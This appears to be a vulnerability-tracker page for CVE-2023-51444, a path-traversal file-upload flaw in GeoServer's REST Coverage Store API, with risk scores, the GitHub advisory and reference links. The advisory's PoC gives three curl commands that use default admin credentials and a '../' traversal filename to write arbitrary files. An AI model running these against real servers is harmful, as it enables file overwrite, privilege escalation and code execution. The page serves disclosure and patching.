CVE-2023-51444
highpriority · track · 30EPSS 0.019 · 79 %ileEUUSEPSS · scored 2026-10-27
GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. An arbitrary file upload vulnerability exists in versions prior to 2.23.4 and 2.24.1 that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution. Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal. This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges. Versions 2.23.4 and 2.24.1 contain a fix for this issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.8–7.2
ssvc
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weaknesses
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affected products (9)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-9v5q-2gwq-q9hqArbitrary file upload vulnerability in GeoServer's REST Coverage Store API2024-03-20ghsa · osvUS
### Summary An arbitrary file upload vulnerability exists that enables an authenticated administrator with permissions to modify coverage stores through the REST Coverage Store API to upload arbitrary file contents to arbitrary file locations which can lead to remote code execution. ### Details Coverage stores that are configured using relative paths use a GeoServer Resource implementation that has validation to prevent path traversal but coverage stores that are configured using absolute paths use a different Resource implementation that does not prevent path traversal. ### PoC Step 1 (create sample coverage store): curl -vXPUT -H"Content-type:application/zip" -u"admin:geoserver" --data-binary @polyphemus.zip "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.imagemosaic" Step 2 (switch store to absolute URL): curl -vXPUT -H"Content-Type:application/xml" -u"admin:geoserver" -d"<coverageStore><url>file:///{absolute path to data directory}/data/sf/filewrite</url></coverageStore>" "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite" Step 3 (upload arbitrary files): curl -vH"Content-Type:" -u"admin:geoserver" --data-binary @file/to/upload "http://localhost:8080/geoserver/rest/workspaces/sf/coveragestores/filewrite/file.a?filename=../../../../../../../../../../file/to/write" Steps 1 & 2 can be combined into a single POST REST call if local write access to anywhere on the the file system that GeoServer can read is possible (e.g., the /tmp directory). ### Impact This vulnerability can lead to executing arbitrary code. An administrator with limited privileges could also potentially exploit this to overwrite GeoServer security files and obtain full administrator privileges. ### References https://osgeo-org.atlassian.net/browse/GEOS-11176 https://github.com/geoserver/geoserver/pull/7222
also known as (3)
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sources
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references (16)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2023-51444/cnnvd
- https://github.com/geoserver/geoserver/commit/ca683170c669718cb6ad4c79e01b0451065e13b8cnnvd
- https://github.com/geoserver/geoserver/commit/fe235b3bb1d7f05751a4a2ef5390c36f5c9e78aecnnvd
- https://github.com/geoserver/geoserver/pull/7222cnnvd
- https://github.com/geoserver/geoserver/security/advisories/GHSA-9v5q-2gwq-q9hqcnnvd
- https://osgeo-org.atlassian.net/browse/GEOS-11176cnnvd
- https://github.com/geoserver/geoserver/commit/ca683170c669718cb6ad4c79e01b0451065e13b8enisa_euvd
- https://github.com/geoserver/geoserver/commit/fe235b3bb1d7f05751a4a2ef5390c36f5c9e78aeenisa_euvd
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